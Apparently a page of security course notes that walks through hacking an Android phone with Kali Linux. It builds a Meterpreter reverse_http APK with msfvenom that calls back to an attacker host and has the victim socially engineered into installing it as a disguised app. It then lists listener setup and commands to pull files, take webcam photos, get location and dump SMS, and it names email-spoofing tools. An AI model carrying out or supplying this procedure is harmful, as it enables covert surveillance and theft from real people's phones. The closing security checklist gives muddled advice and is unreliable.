Security Concepts
[Day 6] 2. Android Hacking with Kali Linux (.apk Payload)
D
DITISS AdminAttacker System: Kali Linux
Victim Device: Android Phone
Steps to Create and Deliver the Payload
-
Generate the Malicious APK
Use the following command to create thefile with malicious code:.apkbashsudo msfvenom -p android/meterpreter/reverse_http LHOST=<attacker_ip> LPORT=<attacker_port> > hack.apk- Replace with the attacker's IP address.
<attacker_ip> - Replace with the desired port number.
<attacker_port> - You can try instead of
reverse_ftpfor different payloads.reverse_http
- Replace
-
Convince the Victim to Install the APK
- Use social engineering to make the victim install the APK file.
- Disguise the file as a legitimate app (e.g., a game or utility).
Steps for the Hacking Process
-
Start Metasploit Framework
Open Metasploit on Kali Linux:bashsudo msfconsole -
Set Up a Listener
Use the following commands in Metasploit:bashuse exploit/multi/handler set payload android/meterpreter/reverse_http set LHOST <attacker_ip> set LPORT <attacker_port> exploit -
Wait for the Victim to Connect
- Once the victim installs and opens the malicious app, the device will connect back to the attacker's listener.
- You’ll now have a Meterpreter session.
-
Control the Victim's Device
In the Meterpreter session, you can execute commands like:-
Access Files:
bashls download <file_path> upload <file_path> -
Camera Control:
bashwebcam_list webcam_snap -
GPS Location:
bashgeolocate -
Read SMS:
bashdump_sms
-
Additional Notes
- Pegasus Spyware Case Study:
Read about how Pegasus spyware infiltrates devices and exploits vulnerabilities for surveillance. - Android Security Settings:
- Use features like Find My Device and Sound Amplifier.
Spoofing
- Spoofing refers to sending fake messages or emails to deceive recipients.
- Text Spoofing:
Earlier tools included globalsms, way2sms, and 160by2. - Email Spoofing:
Tools like Emkei's Fake Mailer allow sending fake emails.
- Text Spoofing:
Security Checklist
- Pin Visibility: Disable visible PIN codes on the lock screen.
- Default Settings: Ensure unused settings are disabled.
- Location Settings:
- Always keep "Find My Device" enabled.
- Keep "Privacy Settings" off to minimize unnecessary data sharing.
Read Next
8/26/2026
[Day 7] 1. Traffic Analysis with Android Emulator and Kali Linux in VirtualBox
#### **1. Components Needed:** - **Windows XP SP3** - **Android Machine (VirtualBox)** - Android ISO installed in VirtualBox. - **Tools:...
8/26/2026
[Day 7] 2. Windows XP Meterpreter Attack Using Kali Linux
#### **1. Components Required:** - **Kali Linux** (as the attacker machine) - **Windows XP** (64-bit ISO as the target machine) --- ### **2....